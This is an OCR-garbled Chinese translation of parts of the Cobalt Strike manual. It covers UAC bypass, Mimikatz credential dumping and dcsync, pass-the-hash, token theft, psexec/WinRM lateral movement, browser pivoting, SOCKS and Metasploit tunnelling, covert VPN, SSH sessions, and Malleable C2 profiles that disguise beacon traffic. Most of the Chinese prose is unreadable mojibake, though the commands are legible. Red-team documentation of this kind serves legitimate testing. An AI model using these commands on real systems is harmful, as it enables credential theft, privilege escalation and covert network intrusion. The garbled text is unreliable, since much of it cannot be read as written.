TTRORFSIRLE,

S—FIREY SYSTEM BPRAYGERCIFE—MZETT payload BIBRSS. elevate sve-exe [Hili#h] @<
AILASCHULE B R, ST BiniiE EiEit—MNE1T payload BIRTHUTIE. BlE— MRS Kz
exe, 7FIEXY payload BUIEHI, AEBEIRSHIRTHITIE.

UAC Bypass

Microsoft B Windows Vista 98|\ UAC #HIFH7E Windows 7 B3 UAC #l&i#1T 7 xE. UACE
UNIX 89 sudo BITAEINEI+24E1. FRIBPUSBIIRIIE, HEPSEEITIURIER, R%
S IMBIIRBEREAHENR.


https://github.com/rsmudge/ElevateKit
af://n19391
af://n19395
af://n19398

Cobalt Strike B 7 —L455d UAC I, (BUIRIERIAFAREER, WEHEaER. ENESaA
PESEEIERAE, /A run whoami /groups #p<.

1#E7E: net localgroup administrators fpStHBELIFIHAEIRR AN R,

beacon* shell net localgroup administrators
[*] Tasked beacon to run: net localgroup administrators
[+] ho=st called home, =zent: 60 bytes

[+] received output

administrators

B AT RN AR AT IR 72 i e

Administrator
\Domain Admins
\

on S PRINFEA -

elevate uac-token-duplication [listener] fpSFEREANSIRIRE—MEITHIHEFISE—
payload stage JEANHIHE, WTEERA— UAC IRIRFSIF— N HRINETHZFER N —MENANHTE
GRSHEREN—MEEHE. ZREERYEE Lo EERNAISHEIINIR. RIVFTEREE
SRRXLZIRAVINF]. R [1RZER] dTHREIRE, WRGEEKENIHEESIZTHESEIRE
SER (ERAE—AF) . EHERT2018511 BEFH AN Windows 7 #1 Windows 10 &4,

G BrgsEsiaE - m} X

PR B A T B EMATEE
AR A TR SRR BT R,
ERlEEITEEES

EEEE

--.— A T SRR R

. A ESsRE SRR
- - *  EEMT Windows 28

0 EresssrreEns B, MEsEn
| = HFEI,

runasadmin uac-token-duplication [#4] 2 LEEARERNKTE, ERLTEEE—MEN
9 E T FIETRIEENS S,

runasadmin uac-cmstplua [@4] HEidsFud UAC HE— MR L T HFiETHS. HIREAKE
F COM W&, ZNRLBINSERHE (RIERERM, I F c:\windows\* BRTH) ETFX+iR
N,

51X
BN getprivs LUBRADELEIREVZHBNARS AV,

7.18 Mimikatz


af://n19409
af://n19411

Beacon £ 7 mimikatz, {#f mimikatz #3<EMm mimikatz FBFEERE TGS, B0 mimikatz
standard: :coffee SL5{F—IIIHE, Beacon £/ vINFEFAN—NS{RBEFRAIA Z21G4EITHELAY
mimikatz S5,

—UL mimikatz S AIALA SYSTEM BMIE{TAREE T, Ea<RIEIIL | EHIE mimikatz I2FE!
SYSTEM, AEEIE{Ta<S. 540 mimikatz !1sa::cache BIRERFGEFRIINELZDES.

BIHMRA8EEEFEA Beacon HEIAYIHIEISHIZIT mimikatz 454, Eap<RINNLE @ 5&E) mimikatz
1&$)l Beacon BIXMBIARAISHE, LU0, mimikatz@lsadump::dcsync 27 mimikatz §{#FS Beacon
FLEIHIESHESIEIT dsync @,

7.19 FREVEIEFING &

ZE dump 5%, @Y [beacon] — Access — Dump Hashes , {RUIRJLAfSERETE Beacon ZHI&EHE
H hashdump <., XLEFERIRE—MES TN Lsass HFEFH dump HRIRGHAHEAFRIZED
ul/:|_\><o

SEfFER mimikatz RIKEEFRIT HFIRFAIEFRIBEX ERSF e .

Togonpasswords &<
Togonpasswords ApSERITFIEINPAY [beacon] — Access — Run Mimikatz,

{£F dcsync [DOMAIN.FQDN] A< MEEHIRENFTB KPR, WRAERT BT EEEC(E
ELS{SEAY Windows APl, BEEEEEREERXRR. Beacon £ mimikatz SRHEUTIRAK, NFRIR

BE—MFENEREIS, A dcsync [DOMAIN.FQDN] [DOMAIN\user] @<,

(FERIXL RS dump TRETEIRESHE Cobalt Strike WEHFHEEERSURIERSD, BT view —
Credentials REHRIFBARSSSHENEERE.

7.20 ix O34

Beacon B—"WEMIHOIHETE, #H portscan [targets] [ports] [discovery method] 3
BohmOEFEEs. JLAEEEESRNBEIREESIFR, imAI7rEa0ltt, tbal, portscan
172.16.48.0/24 1-1024,8080 £3T3HEM 172.16.48.0 F 172.16.48.255 E#1HI1ZE1024F08080i
D°

B=MBERKIIEIR. arp 75%(ER ARP BREAI—NENEEFE. icmp F5ERIE— ICMP
echo BRFKIGE—BIREEFE. none LRI T BRIZATBRIENERFERT.

iHOfAESTE Beacon MFBARS JERAIX MIFEHAEEIT. BEBTLUREHNER, ERIEER
&i%%| Beacon =&, Cobalt Strike 2AMEXMEEFHERAINENEH BFREEL,

7.21 POLEFN S

Beacon BYMLZIEHIRME T £ Windows iEE1E RMEFEFFNAIMBEFNTE. #FH net dclist @
SERBRFIEEREIE. £ net view dp$KER BIFFAEEAE N Bir, XEHStHIEFTRER
HRE), net computers MBI E—MIE FETBENWKSAHREL BR.

Beacon RYMLZIRHRAHPRIAFSEE Windows RIZEHEE AP BOERH EH98RY. XLmpSHHARZEHER
BB TRZ Windows FRERIMERS. thE—ImSAIIEE, tban, A net localgroup
\\TARGET F¥FIHEB—NRF LHIZH, {FF net Tocalgroup \\TARGET group name RFIZEE—PHR
S ENARRR. XEDSERABMIMERITFE, WA FEESKRE— )RR LA SRR,

5 help net 3IKREX Beacon MIMLBIEAFFIERSAIFIZER. (£ help net command ZRENEAN
B SHIEEBNER.

7.22 (FEXRFR


af://n19415
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Windows BABRHVEITZORISEKE, L—MEFBAZI— Windows N, HAER—
EHE. LOREEXTRPRESIRIEE, PAEEEaBER SaMmr TS HRERIRE
ME— RIS, BMEER— O, Windows SEFEHISRRNFSHITE— RS

i

{£F steal_token [pross id] REEMH—PIFHZRICHE, (£ ps BOEEMPLHIEIETEIT.
M getuid ALSFTENMRRIZRICHE. (£ rev2self RIKEE(RRIRIASHE.

WRFFIE— N AFPRYERE, (#F make_token [DOMNAIN\user] [password] RAER—/MEBIXLE
FRASHE, XNSHEEFRIFSHENES, TEENNRRERER. EE2ERMRENARE, X
EIRERRY1TA.

{8 mimikatz &{EF8 Beacon {£i#157%. Beacon #5< pth [DOMAIN\user] [ntlm hash] £<8IZF0
BEHI— MBS RGBS ERIG .

Beacon BIFHWESHEXSIEIE ( [beacon] — Access — Make Token ) BXLELd<SHIRNR. THERE

EERNNS, FERERNGSIBIEENERIEE NS,
Kerberos EiR

{#F kerberos_ticket_use [/path/to/ticket] J& Kerberos EIE;FANLRISIE,. XIEDIF
Beacon S5infE KA FERILENEAISIRIE T E, ALUBIYH mimikatz 2.0 & E S EESEH TR
k.

{888 kerberos_ticket_purge BRI SIRAISIEEREXAY Kerberos ZE,

7.23 tEEEE)

—B{rETHEHEERSEEBIMSE EHNAMEIRRIGAFPNOSH, (Re LB SRS ERERE R
B4R, Cobalt Strike Y Beacon B E— L i# M EIAIETT.

#A jump B Cobalt Strike FiEMAGHEFIISENAIMEIR, 157 jump [module] [target]
[Tistener] FEXEEEBIFLIET—4 payload,

Jump &R ) g

psexec x86 BER—MRS RS T MRS RTINS
psexec64 X64 ER— MRS R T MRS I TS
psexec_psh x86 FERA— MRS RIGZIT—1 PowerShell 217127
winrm x86 Bid WinRM &IE17— PowerShell FIA
winrmé4 x64 Bid WinRM &IE17— PowerShell B

EAYIEIT remote-exec #ESEFIZE Cobalt Strike HLEMAYTIEMITIEIR, (EH remote-exec
[module] [target] [command+args] RERIXEEEBIFEN LETISTENGS.

Remote-exec &R fEix

psexec B RS T EERITERT

winrm 18T WinRM (PowerShell) iTf2HiT
wmi B WMl (PowerShell) JZfEHA4T


af://n19434
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HERBE— R, FSSUTIESEURT, s —E T 2 BANERE B LIRESTEN
R, —EWHVE—NTHITRIE. jump 1 remote-exec ap¥ZBINDBLL TIREEREN
A EE ST RIBARIE .

Aggressor Script 32t 7—N API 325 jump F0 remote-exec FIMINFRAVIELR, (ReJLUBIESR
Aggressor Script X1 (4532 Beacon &) FFRENEZER.

7.24 t#MFZE) GUI

Cobalt Strike tH2H— GUI SR{ESIEEMBIEMNE R, TIHREBirT RS HEE] view —
Targets . SnZ [target] — Jump FEIRFTHBAVERBINED., BHIFLATINEE:

PsExec (PowerShell) - | 8| x|

user password realm note

Administrator 8846f7eaeesfbl17... GRANITE -
Guest 31d6cfe0d16ae93... WS2

Guest 31d6cfe0d16ae93... GRANITE

lab 8846f7eaeesfbl17... GRANITE

user 8846f7eaeesfbl17... GRANITE v

User: [Administrator ]

password: [4d714387627dob7badfbs27d9sfosfol

Domain: |Ws2 ]

Listener: [Iocal - beacon smb - ] { Add ]

Session: |whatta.nogg * via 172.16.20,193@3568 H; -

[T Use session's current access token

Launch Help
E139. HEFRBEIRIIAIE

E(EFILERHERE:

B, REFEREFMEERHITER®EH. WRIFEFERIRRIE Beacon FHISHE, Ak use
session's current access token (FRARIENZRIAAISHE) &, REATLUEREIESIGH K
iTHEmEn). WEIEFEPIEREENEFNES user . password ] bomain FEg, Beacon &ff
FERRARER—MARISH, 1BF, FREESNRNLTY (BERRNR) FHYTIXLEREA
BEAERL,

BTk, SEATEABMNEIES. mXMASESH, SMB Beacon BERE—MRIFAVLERE.

Bia, EERRENBNSIERHTEEREEIIRE. Cobalt Strike NS S WHERIERES—NLEEN—
NSEZFHPHIT. NRSETUEFKEHN Beacon SiEMSB I L TIHARIEINER, WNRIRE—
NREBTEIF, ERE hook —MRIEHINY Windows RGEFHUUENERIMMER SRS A KRR SR

it Launch (/3351) . Cobalt Strike &iEi%E Beacon FUirERHNE ARG S, WENRIGES
IITE Beacon HUizHIE,


af://n19481

25)\E Browser Pivoting

8.1 fifik

Zeus XHATERRE R ETHREENB I EFNSEEEPRGFEIRTI SHEXNER. X2
—FLAUNSSEE AENNIGE, RAKNEEEERE TR BIiRaUNEesh,

LUN S 28 NIRRT R E AR A R BRITER. F—ME =R AXE RSB EEHIRER(E
B, Lbin, TBEIMETTEES hook Firefox A PR_Write SRZ#EH Firefox &1%% HTTP POST (8.
BHAER, B JavaScript ;FENSFERIM DTSR FIA A MG IS KB sLfr E Rt E EER
==

ﬁ:w\o

Cobalt Strike ALUNEEEAENNERE TE=MGE. CLIIEESFEETSHILIER web

Sif, —BRPEH— WL, WEETTESILAPIEENEERH TER. BRABFPINSESERE
RHIEK, E2EmINENMHIBREEE NN TEIRSMDIGIE, FITBEFRAI— Browser

Pivoting, Browser Pivoting FIEFEALAER AN ESEY BiraUNeeshariEk, XEHRE
ETLUABRAPNS M S AMLHTHRRRE. LHESEBR.

FEE:

EIERsRE, NSRRI LAULIREE AR E N LKA S0 Kb aNEes EFFER
RA. WEETLSEERBASTRUEEENR, B TEZDNT 7T REes LR EE
FrRISDIIE.

Get the latest movie news and trailers

Trash

YAaHOO! movies

(@]
[

[E40. Browser Pivoting ##{E

Cobalt Strike B9 Internet Explorer Browser Pivoting FISEIIE@ITIE— HTTP RIBIRSEEIEAN
FIZFEEONEER., FEELSINSHTRAFIRIBIRERE Y. WRIEBRS AT WEFAEERAY
B, Bk, WRBRSH[ERGEFER. MEEdEiEKEHZEEIN R EETH.

8.2188

K E Browser Pivoting, 1@ [beacon] — Explore — Browser Pivot, IEFR(FEEAGENM
Internet Explorer SEffll, {REEETLAURESHEABNHOSBE Browser Pivoting {XIRARSS 8.


af://n19491
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Browser Pivot - | O

PID PPID Arch Name User

3436 1336 x64 explorer.exe CORP\jim.stevens

4796 2124 x64 iexplore.exe CORP\jim.stevens

7080 4796 x86 iexplore.exe CORP\jim.stevens v
4984 4796 x86 iexplore.exe CORP\jim.stevens v

Proxy Server Port: (17787

Launch Help

E41. Ba— Browser Pivoting

EEMRENAGHZIEREE, TAZF Internet Explorer SE4H A RIZIT BHIGIER web £iF,
Internet Explorer BN AS AT MRS RERMAHTE. WRRNBEIRER— N CHRAR
Internet Explorer, BBAMRMIGENSHFAGEI-RRERASHIZUMESITERS. BENREIPMrETUH
BLXEE (FIEREESIERE) . @IEE Browser Pivoting I8 EXHERETHI PPID (&EiIRB
Internet Explorer IEIT-RHFE, 058 PPID 5|F7T explorer.exe, NIHESIFERTK, W5E PPID 5|
FA7 iexplore.exe, MARES—Mr&EITHEFREL, Cobalt Strike EEBCIASUFALEENRHFESIL R
—NMNAIEHE,

IRE5E Browser Pivoting Zf5, 1EIRERAT web NILSEEK(EA Browser Pivoting XIEiRSS 28, 1510
¥, Cobalt Strike A9 Browser Pivoting fRES282— HTTP {XIEARSS 28,

Connection Settings
Configure Proxies to Access the Internet
O No proxy
O Auto-detect proxy settings for this network
O Use system proxy settings

® Manual proxy configuration:

HTTP Proxy: |54.211.201.132 [ Port: ’ 17787‘:‘

¥ Use this proxy server for all protocols

El42. EeENSRRE

8.3 {5 F

—B Browser Pivoting [5z), {REiAJLUEABRAFENE web, ZRNES(RIGIEFFE T SSLAIML,
B, Browser Pivoting RIERIRSSEESIRMAERY SSLIER, XIS FIFEARELE B AT,

24 Browser Pivoting {fCIEBIRSZESHOMZ SSL $8IRAT, BSBERRE—NENLRINEURAONS R EIEF
figeh, BIXEFNRINENSEFE, ARRRIFTLAES SSL ARIPHIRUEIERINE.

NSRRI ESERE 7 BArubmANIES, APALLNIESESHEESE Browser Pivoting (UIRIRSSESANERHA
Hojgt, XE— M URBRFNER., —FEREFEREMNIEES. FHFERY Chromium JIEEE—1 8]
L ZZBSFRBEIE PRI S1TIEIN. X2 Browser Pivoting $ /K FBRYIEASIERE :

chromium --ignore-certificate-errors --proxy-server=[host]: [port]

2=k Browser Pivoting (RIBfRSSEE, 7E£H Beacon 48R EMAN browserpivot stop,

NRAFPXATIREREFERNRER, (REEEFNEN Browser Pivoting AIEIRSSEE. BLEEREE!
NEE2EAY Browser Pivoting fXIEARSSEEAT, Browser Pivoting FR&S TG A HES,


af://n19510

8.4 T{EIRIE

Internet Explorer HEIBAIBEEITESEA winiNet BIEE, (HAFEFESATLAER winINet XAMESR
ETEEFIFAY cookies, SSL SIEMIRSBESMNINIE.

Cobalt Strike B4 Browser Pivoting JEIFIF T WinINet EFES MNHSEBETRSHIITFIETR SS9
IIFRYRIE, 1Bi2¥E Cobalt Strike B Browser Pivoting A EANZIFFRY Internet Explorer SLfieh,
BILAS &R ZERYE R AQILE.,


af://n19517

$EhE Pivoting

9.1 f+4 2 Pivoting

Pivoting , TEATFMG, IBHIE [B—SENSEEAEMIGEINTERBMWR] . Cobalt Strike 9
Beacon 2t 7 Z# pivoting %I, BIFRRE Beacon &TFREEL,, REER{LEKE— Beacon &
R ZIRIEEZIFANRSSE. (R sleep 0 #p<KAE(RAY Beacon HARZEE,

9.2 SOCKS {2

#iZ [beacon] — Pivoting — SOCKS Server EFE{RHIBIPAIRSS2E LIGE— SOCKS4a ﬁfiﬂﬁg
28, EVEEA socks 8080 m<3kfEimM 8080 LIRE— SOCKS4a RIEIRSSES (ERETATEMRIE
EERERO) .

FRrEIiXE SOCKS ARSS SEHEIZERIS LT NI HEXEX Beacon HUTHIIERE. E5MAAES. R
LB A28 Beacon £ SOCKS [FEEH (EEZ—1 SMB Beacon) .

Beacon BY HTTP B BERWARERRAY pivoting Fik. MWR(FIBET DNS fikiRE, (FH
DNS TXT ieRAESEL.,

BEEEYRICAEER SOCKS IRSSEE, i8It view — Proxy Pivots,
58 socks stop @< RIER SOCKS KIEIRSSES.

Proxychains

proxychains T E3aHI7MNBIEFER{RIEER) SOCKS IBMRSS:S. {RAILAER proxychains 3&%58
=T BT Cobalt Strike f SOCKS RS2, ETHREX proxychains FNEZEE., BihE:

e http://proxychains.sourceforge.net/
Metasploit

{RZETLAEIT Beacon EREEH Metasploit HEZRAVIRIEFI IR, BlIE— Beacon SOCKS K&
IRSZEE (WLEFMAR) , REELATABHMEENREY Metasploit {EZEFHIEH:

setg Proxies socks4:team server IP:proxy port
setg ReverseAllowProxy true

XLEARSIETE R Metasploit IEZREARAVIRETIN FIF ML IS FHARr B AUHITAUERR, LAFh S5 =8
1Z Beacon {794k, FeRiR{ES, {FF8 unsetg Proxies {&1EAR%k,

WRRE L EIVRERERISE, BT view — Proxy Pivots ., IEHF{RIZEAMCIEPYRIAGIE
Tunnel #%Hl. Tunnel IZHIGIRMLEIT/RAY Beacon FFB(EHIZE Metasploit HEZRFTER setg
Proxies 1Bk,

Proxy Pivots X
user computer pid type port fhost fport
C XIAOMI13 2112 SOCKS4a Proxy

B Tunnel via SOCKS - [m} X

Use this command in the Metasploit Framework to tunnel

exploits and auxiliary modules through this Beacon

Use unsetg Proxies to stop tunneling through Beacon

isetg Proxies socks4: 1 13824

Ok

Stop Tunnel Help
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9.3 RAIKOE%

5 rportfwd < KIBIT Beacon IRE—MRMEBkR, rportfwd S EEIEREFEN _EA—NRE
0. {HIztisOhEESESS5UREY Cobalt Strike PREZEEVITAK—NEIB— N E=HFOiH O B0EREFH
X MNEZ Z BRYRE. Cobalt Strike 18T Beacon f¥EEHIRE, rportfwd HSHNEELR:

rportfwd [bind port] [forward host] [forward port]

83 rportfwd stop [bind port] ERARMIKOA.
9.4 Pivot M50fres

PRI BRMER6 S SIEHIERIR BN B REZAVE R —FRIFAIRIS. —1 pivot EEITER7IHR
BIE—GBER] Beacon BiE SSH R1EMMEITRS. X, (RAJLABIEFAIRESIEMAEESENRE
i< SiEHIERIR BRI EEERE.

EffE— pivot 151788, i®id [beacon] — Pivoting — Listener..., XBFJTHF—NIHEE, R
AJLAENX —1NEHY pivot S5IrES,

3
L

New Listener - | O

A pivot listener is a way to use a compromised system as
a redirector for other Beacon sessions.

Name: WS2 - Pivot]
Payload: [windows/beacon_reverse_tcp

Listen Port: (4444

!
Listen Host: [10.10.10.190 ]
|
|

Session  [whatta.hoggvia 10.10.10.190@2400] | ... |

[ Save ” Help ]

E43. BEeE— Pivot {5028

— pivot BT SHEENEERIE LAMUITIRH. Listen Host (Y3ITEH) FRAVEEEIRIIR
[ TCP payload = FBRIEZERIX N ialrasaotbut, IE, ME—HY payload EIZE

windows/beacon_reverse_tcp,

Pivot YSTRSERE TR pivot ENUAIBEIHEEE, ME—A" pivot ENVE—ANETENAIKIE, KT8
STHIRMMITES. (RS BETRHE i RIS,

ERBlR— pivot 15ITEE, 1BId cobalt strike — Listeners RIEHPEMIRIGITES. WRESIE(HA
ifla], Cobalt Strike JE&E—MES IR ISITAY socket,

9.5 (S VPN

VPN pivoting 22— RIEHNBEER SN, XM ARASZIE pivot BIARLIRF. Cobalt Strike BIFHE
R VPN IHAEIRMAL VPN pivoting ARSS. Fai VPN €l —/ME Cobalt Strike % ERIMLEEOFHEIL
OV BRAIMEEH,
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[

Deploy VPN Client - O

IPv4 Address IPv4 Netmask Hardware MAC
172.16.48.80 255.255.255.0 00:0¢:29:d9:f9:41
Local Interface: lphearo - } “ Add ”

[¢] Clone host MAC address

l Deploy H Help ]

El44. ERE RS VPN

EACERSHE VPN, E—NRBEEN LT ASE, %% [beacon] — Pivoting — Deploy VPN, %%
(RS LR VPN SPERIRIREE O, (RHFNREAMEO, 2 Add ERHEREIE—.

A% Clone host MAC address (ZEfE=E# MAC HBib) ESRGRNAIZEOBEE S TiEE0—HFR
MAC #biiE, {REBIIEINAI QRIS R T EHIERE.

RUERSH VPN #ZOfE, (RATLMGERFNRSE LA EIREO—FERE. £/A ifconfig KEE
HIP ik, dIRERMEES DHCP IRSSEE, NHRILUERIFRIRERFRNE T EEEIBKIPHEIL,

EETRRAOERE VPN 20, 13%%! cobalt Sstrike — Interfaces, fEIXER Cobalt Strike £ERf2
i VPN 20, BiIfEEsrAUARETE MEROEEF IR T2 0F,

iR —MNEOARRE Remove FEEHNBIAIIEOF XX MTIEIM VPN 2 im, ik VPN 2R
[ERIEBRERIIRRISIY, FRMEREURSER,

R Add REEFEECE— RIS VPN #20.

Setup Interface - (O

Start a network interface and listener for CovertVPN, -
When a CovertVPN client is deployed, you will have a

Interface: \phear1

MAC Address: ’ce:ﬁe:ld:e3:fc:74

Local Port: ’7486

=

channel: |ILI’CP (Bind) -

I Launch ” Help '

E45. iIRE— 1 b=k VPN =0

Faii VPN ZOBE— MBS I— N NETEE 63 MNAANMINETHEEER. EfRREE0, BEA
EOSR (XEMREEET ifconfig BIERIERR) F1— MAC Hbtit,
{RiEREOBERZHR VPN BEEREE,

Fa VPN IJLUEBIT UDP i&E#E, TCP &R, ICMP fEA HTTP tSCRIBELAKMIE, TCP(Reverse)
BELLE BiREZEZWREY Cobalt Strike L5, TcP(Bind) BIESILLE Cobalt Strike i&id Beacon 5
VPN Z37FFEIE(E.

Cobalt Strike JEET{RIERAY Local port (AHbix[d) #0 channel ((BE) EMASIESHZH VPN
EZFinNZ BREE.

B3k VPN HTTP @& Cobalt Strike Web fRS388. {REJLAER—NimA EIEEEMAY Cobalt Strike
web RIFHF1Z M VPN HTTP (@&,



EFRINGERER, BFEH UDP@E, 5 TCPF1HTTP @Ei8tk, UDP BEMFHERL. MNRIRE
BT —MREITEA0 XS, aJLAER ICMP, HTTP 8 TCP(Bind) i&@i&E.

2B VPN BEREMMNE, (BREMKIEEER VPN pivot B2 pivot KENRTEMAINME. B2
ik VPN FEEERIGANR, L pivot WAFZE, [Eik VPN eIZHriEEEE. A pivot UIA
. RMZEFERRE pivot, AFERZFEE VPN pivot,



$B1%= SSH &%

10.1 SSH E %

Cobalt Strike {FERIRNER] SSH ZFimiEH UNIX Bixr, 1% SSH 2R iRERYESFHHEIT— R Beacon
HEEEE.

{5F ssh [target] [user] [password] &S M— Beacon /25 SSH £iF. {RtEAILMER ssh-
key [target] [user] [/path/to/key.pem] #5<SLAERZEIAHITEMHIIE.

XLrp$izfT Cobalt Strike Y SSH EFig., BEFIRSMRAR Beacon IREHANEZEFIS DGR, 0
SRIEZRIN, {RISTE Cobalt Strike IEBRPEEI—NFEIE. XE— SSH £iF. AEBEFIHSIE,
SAIEIR Interact RFTFF SSHIZFIE, A help LIEE SSH SIEZIFNGSFIER, @A help 7
B— SRR, LIRBEXZaSHIFRER.

10.2 15178 S

shell SBEITIRRHNH SIS, BT S7E Cobalt Strike B SETFREAZAIALASE
SSH £1E{IX 20 #, Cobalt Strike $51E 0] FARYR X AR EE1TAYS S A .

58 sudo [password] [command + arguments] =ifiBid sudo ETar<. XANBIBERBIRN

sudo % -s fr&.

cd pRFEH SSH 2ERIBRITIFER. pwd S RESRIRITIEER.

10.3 _EAEFN &34

upload TS EEZEIHBITIEER. download dpiE NEX/4. BT download dFSTE
RIS EETLAEIY view — Downloads BE, {REATLUEIAN downloads REBEBIEEHI TS TR,
cancel RS BEUHEIEER T TEIES.

10.4 34 C2

SSH RIERTIAH) TCP Beacon, 3 connect S&EEIII—MERFIERH TCP Beacon RUISHI,
F3 unTink BTFF—4 TCP Beacon &iEAUESRS,

J@id [session] — Listeners — Pivot Listener.. RIEE— 5L SSH S1R48ER pivot Wi
5B, SIS AUFRANENERT UNIX BFFETLUEIRE TCP Beacon £F, IEMAUAIEERE SSH SHPE
8 Gatewayports IEIAHEHIRES yes & ClientSpecified,

10.5 SOCKS Pivoting flIR@iROEAR

{EF3 socks MmSEHRAIRS RS LEIEE—MEIT SSH SIFRARER SOCKS fRSS88. rportfwd <
TRl REROER, ATREEEY SSH 2IEFMRAY Beacon HEATRE.

rportfud H—PELE: rportfwd HESEK SSH SHFEFSPERIFTEREEO (0.0.0.0) . SSH <FFFE
FROBESESIIRE, FEslimO48EE localhost, {RFTEER SSH FHFFERFRY GatewayPorts IR
BEXCH yes B ClientSpecified,
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B1+—5 C2 IaEXH

11.1 BhiA

% Beacon 18fREH— C2 M HES]. —1 C2 RN EMSURLIGRER. SiRkIeE—
NERIER, CIEEUEREIEFSEFHEESS S, RRiFHENE—Er, nEfE, £
MESHIRBAIR S EE.

BEFERRENREXY, (RN RTERSI Cobalt Strike FIBAIRSS 28R ELA N BISE/RIVECE X4

./teamserver [external IP] [password] [/path/to/my.profile]

B Cobalt Strike L REENNEH— M E .

11.2 1O EHEIR

Cobalt Strike B Linux BEEEE— c2lint 1Ef. ZEFBRE—MBEREXMRIER, #T
—EEHMIRE, EEERMETETEMRREEX TR, BRI ESEE S A InEit
Cobalt Strike ZRIFeERILL TEAGE(RAVECE A

./c21lint [/path/to/my.profile]

M3 BEEXHES
SIRBRE E N HIRERZRIEMINEEEXE. E Github -E—La] BYEE 4
o https://github.com/rsmudge/Malleable-C2-Profiles

FIFEEX AR, REERILITAE:

# this is a comment
set global_option "value";

protocol-transaction {
set local_option "value";

client {
# customize client indicators

}

server {
# customize server indicators

}

ERELA # FPk, —HEATR. set iIBGRL—MEIRERSE. EREXMMER (15} KBIEDH
SRESHE—E. BURKUSSEE.

ATEEEE, FEXENRENHRR:
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http-get {
set uri "/foobar";
client {
metadata {
base64;
prepend "user=";
header "Cookie";

HWERDBCENAENX T HTTP GET =SSR, F—MEBQ, set uri , IREEFIRMIIRS TS
SHAENES |AKY URI, XEIEQAREEEFImIIRSSEZRBRZIN, BACERTEIIRE.

client (EFim) ABRAMIT HTTP GET IBRINEFinE Xighn, FEXBEZFintg Cobalt Strike AJ
Beacon payload,

24 Cobalt Strike Ay Beacon EIEZIFIIRS /0T, BE&EXTEERITTEIRELZ Cobalt Strike, TEIY
EEESh, B IWRE A I4RBIt oERF I A {ERE( A9 HTTP GET 5 R AXTTEIRE.

metadata XEFFIR—HIED, AHIEECUTEIETIETEIRERAIAIN HTTP GET IEKF. &
metadata KEFZEIN—HIETFRA— M EUREIR,

l#11580694590655

RIS —FKIETIEH, BIVEXITTEURE base64 J7h3 [1]. FHKIEQ prepend EZIHK(4RG
HITTEUE, FIEF/E user= IINEITEIE (2], TE, HIVEEETEIRER
“user=“.base64(metadata) , FE=ANHEREK(ISEIIRENTEIRFHEERIEZ /9 Cookie [3] I iR
HTTP sk, X—EBREEXHHEXNRE.

Beacon N EIRSEEEMEMRERENE., FEFKIIEEM Beacon BEFIHIIAEMT TECEX /4, Beacon
IREZ M SFBUERNEEHEEMERE, BRIKF(IAY Cobalt Strike AY web JRSZEEWZ TSKEL URI
/foobar By GETiEK, WE, BENEZPHIREGTEIE.

| Step Action Data
0. Start
1. header "Cookie" Recover from Transaction user=bWV0YWRhdGE=
2. prepend "user=" Remove first 5 characters bWVOYWRhAGE=
3. base64 Base64 Decode metadata

header EREIFIRSS AR MIBERIRETA VEHIGHITTEGR (1],

HTTPERSS SRS ABAETRE HTTP ZFIRATIERL. E TR, FIFELE prepend (RIE) &

B, NTREREEIREIE, FOVGRIEREEIMIRET X D=4 [21, B X 2FATRINRRIR=FF 6
BKE. IE, IR TRE—MED basees FEMRE., ZRIFKAIERT baseod fiDEREKIGIRTTE
&, FRLAE, FAEEA base64 MRIBRECKIRE TTEIE (31

— ERE SRS T AR ORE, RIIMSRNRANTTAE.
HRFIRES
MRS RS IRACREIRN—RINED. MERREORE:
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Inverse

append "string" Append "string" Remove last LEN(“string”) characters
base64 Base64 Encode Base64 Decode

base64url URL-safe Base64 Encode URL-safe Base64 Decode

mask XOR mask w/ random key XOR mask w/ same random key
netbios NetBIOS Encode ‘a’ NetBIOS Decode ‘a’

netbiosu NetBIOS Encode ‘A’ NetBIOS Decode ‘A’

prepend "string" Prepend "string" Remove first LEN(“string™) characters

HIEEREISHENXEEINERAS. 2, RETLUSERIEEEHIT netbios RIBLUEHIEL
&, RIN—ER, AENEANLIERHTT base6s fRiT.

HIRIIRIRRIR I NEER, £ M EUERIRTPREEERA— MR ILES. XMEDEHIF Beacon F1E
HIRRSS BRSSPI R AL R R RIER.

BONMRIEESR,
header “header” Store data in an HTTP header
parameter “key” Store data in a URI parameter
print Send data as transaction body
uri-append Append to URI

header £2|HEGISHEHARAIEIETFAETE HTTP Skrh.  parameter £RINEGNISHEHARRIEIEFIETE
HTTP 24rh, ESEIRLI91EA URI BI—EBDAIE. print IEOESSERTARIXEREIVETE.

print iIBA)2 http-get.server.out. puthttppost.server.output FJ http-
stager.server.output ISARAVTEALIEESG), (RATLSEEMANIEDIRFER header |
parameter . print ] uri-append £&1NEA],

WIER{REE http-post.client.output H{EF header . parameter Bf uri-append ZZ1HES],
Beacon £ HIIMMN S HREISIEAKELALAISESALERS .

R R SRS R R E T M A,
FiIE

Beacon NECEXHESAIHMIMES ML ER [F/H] . BE, FHESWRERE. B2, /Y
LATEF R ER P A — L4k (E:

Value Special Value

“\n” Newline character
“Ar” Carriage Return
“\” Tab character
“\u#H#HHE” A unicode character
“\x#H” A byte (e.g., \x41 = “A’)
“\ \

LFNSE

HIREIREBE BRI ENERANID . HEEIRAIHREN Beacon EENEFZHLIUKIEEIZ
WHIETE. (REALLSE SRS MIMNITER.

TN HTTP GET g POST 153k, IXLERIMYTEIRLASL eS80 L HEL. EE P intkpEER
parameter (&%) iEGME— HTTP GET 8% POST BEEHHINE=ESE.

XRS5 3RS Beacon FE& HIEKATME /foobar URI I bar=blah 2%,
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http-get {
client {
parameter "bar" "blah";

HEEFIRERSENETRPER header IEARLLEFIRANEREIRS HMAINDALRIMESAI HTTP 3L,
XA header IBERMINT —MERRILNBZ 2 EEFL.

http-get {
server {
header "X-Not-mMalware

I promise!";

o B GRS SR AEFR T header {BEF] parameter iBG. tBHELE, WiniNet E (ZF
i) #0 Cobalt Strike Web RS 8B IIXEASIMER S P HMANENRELREN,

1EIR

{RAILLBIE ECE X4 ECE Beacon RIBNAIRE. BFMEEANAIT: £BIAMIAI. £BENENE
[B#9 Beacon IRE, AMEINZEMAIES. (ROEIERR ETXHIREARIET, £ set i5G
FIRE—MEIL,

set "sleeptime" "1000";

AT 22kl

Context  Default Value Changes
dns_idle 0.0.0.0 IP address used to indicate no
tasks are available to DNS
Beacon; Mask for other DNS
C2 values

dns_max_txt 252 Maximum length of DNS
TXT responses for tasks

dns_sleep 0 Force a sleep prior to each
individual DNS request. (in
milliseconds)

dns_stager_prepend Prepend text to payload stage
delivered to DNS TXT record
stager

dns_stager_subhost .stage.123456. Subdomain used by DNS
TXT record stager.

dns_ttl 1 TTL for DNS replies

host_stage true Host payload for staging over
HTTP, HTTPS, or DNS.
